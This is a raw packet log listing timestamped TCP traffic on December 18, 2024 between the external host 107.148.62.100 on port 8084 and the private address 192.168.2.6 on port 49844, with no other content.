Dec 18, 2024 13:36:11.596569061 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.596849918 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.596895933 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.603629112 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.603863001 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.603904009 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.717426062 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.717441082 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.717514038 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.724270105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.724288940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.724340916 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.838119984 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.838138103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.838150024 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.838198900 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.844818115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.844830036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.844868898 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.957686901 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.957721949 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.957732916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.957782030 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.957808971 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.958173037 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.958210945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.958373070 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.959505081 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.959521055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.959531069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.959568977 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.960836887 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.960850000 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.960885048 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.962132931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.962146044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.962196112 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.964916945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.964926958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.964961052 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.966135025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.966146946 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.966187000 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.967524052 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.967535973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.967570066 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.968743086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.968755007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.968782902 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.970119953 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.970159054 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.971374035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.971465111 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.971476078 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.971508980 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.972752094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.972763062 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.972805023 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.974054098 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.974092960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.974100113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.975370884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.975405931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.975409985 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.976769924 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.976788044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.976811886 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.978039980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.978051901 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.978060961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.978091955 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.978118896 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.979355097 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.979372025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.979413986 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.980709076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.981343031 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.981353998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.981384993 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.982714891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.982727051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.982738018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.982760906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.982786894 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.984064102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.984075069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.984116077 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.985342979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.985361099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.985403061 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.990634918 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.990650892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.990659952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.990715981 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.991990089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.992005110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.992013931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.992038965 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.992053986 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.993330956 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.993345022 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.993354082 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.993393898 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.994688988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.994704962 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.994714975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.994759083 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.994801998 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.995948076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.995959997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.995969057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.996004105 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.997356892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.997370005 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.997380018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.997407913 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.997425079 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:11.999932051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.999948025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:11.999989033 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.001286030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.001331091 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.001388073 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.002590895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.002603054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.002644062 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.003956079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.003967047 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.004000902 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.077589989 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.078068018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.078128099 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.079003096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.079226017 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.079332113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.081969976 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.082423925 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.082484007 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.084554911 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.084750891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.084791899 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.087198973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.087634087 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.087678909 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.089929104 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.090234041 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.090281010 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.093039036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.093503952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.093552113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.095498085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.095771074 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.095813990 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.098297119 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.098613977 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.098655939 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.101099968 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.101452112 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.101639032 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.103791952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.104127884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.104195118 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.106476068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.107103109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.107235909 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.109477997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.109744072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.109781027 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.112328053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.112698078 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.112737894 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.114870071 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.115170002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.115212917 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.117883921 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.118278980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.118329048 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.120987892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.121232986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.121279955 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.123653889 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.123826981 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.123986959 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.125834942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.126142979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.126384020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.128496885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.128835917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.128942966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.131237030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.131493092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.131530046 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.133913994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.134251118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.134427071 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.136651039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.137212038 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.137257099 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.139445066 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.139684916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.139740944 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.142137051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.142429113 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.142739058 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.144778013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.145103931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.145162106 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.147732973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.148010969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.150253057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.150326014 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.150546074 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.151859045 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.152899027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.153225899 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.153374910 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.155716896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.156003952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.156152964 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.158399105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.158699036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.158739090 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.161231041 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.161511898 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.161551952 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.163824081 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.164134026 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.164170980 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.166539907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.166863918 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.166904926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.169265985 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.169565916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.169605970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.172015905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.172291994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.172337055 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.174706936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.174977064 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.175105095 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.177512884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.177766085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.177844048 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.293745995 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.293983936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.294033051 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.294619083 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.295007944 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.295053959 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.295420885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.297040939 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.297158957 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.297894001 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.298197985 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.298249960 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.299284935 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.300892115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.300937891 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.301223993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.301980972 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.302151918 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.303273916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.303499937 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.303539991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.304106951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.306246042 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.306309938 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.306555986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.307233095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.307269096 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.310408115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.310637951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.310797930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.311239958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.311678886 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.311729908 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.312052965 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.315141916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.315186977 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.316922903 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.318202019 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.318284035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.318885088 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.318897963 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.318931103 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.320112944 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.320136070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.320151091 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.320189953 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.321358919 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.321398020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.321564913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.321878910 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.321891069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.321914911 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.323028088 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.323071957 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.323277950 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.324008942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.324070930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.325232983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.325611115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.325649977 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.325838089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.326831102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.326874971 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.327146053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.328519106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.328557014 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.329452991 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.329677105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.329739094 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.330827951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.331904888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.331940889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.332065105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.333091021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.333167076 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.334414005 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.334758043 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.334794998 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.335355997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.337037086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.337083101 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.337305069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.337927103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.337969065 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.339272022 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.339633942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.339668989 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.340312958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.341716051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.341754913 CET	49844	8084	192.168.2.6	107.148.62.100
